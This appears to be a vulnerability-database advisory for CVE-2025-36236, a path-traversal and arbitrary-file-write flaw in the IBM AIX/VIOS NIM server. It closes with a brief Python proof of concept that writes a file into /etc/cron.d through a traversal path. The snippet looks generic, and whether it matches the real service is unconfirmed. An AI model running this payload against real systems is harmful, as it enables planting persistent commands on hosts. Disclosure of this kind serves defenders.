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CVE-2025-36236 CVSS 8.2 HIGH

CVE-2025-36236

Published: 2025-11-13 22:15:51
Last Modified: 2025-11-19 22:11:11

Description

IBM AIX 7.2, and 7.3 and IBM VIOS 3.1, and 4.1 NIM server (formerly known as NIM master) service (nimesis) could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request to write arbitrary files on the system.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:ibm:vios:3.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:vios:4.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:ibm:aix:7.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:ibm:aix:7.3:*:*:*:*:*:*:* - VULNERABLE
IBM AIX 7.2
IBM AIX 7.3
IBM VIOS 3.1
IBM VIOS 4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target = 'http://target:9998' payload = '../../../etc/cron.d/malicious' data = 'malicious cron job' r = requests.post(f'{target}/nimesis/{payload}', data=data) print(r.status_code)

References

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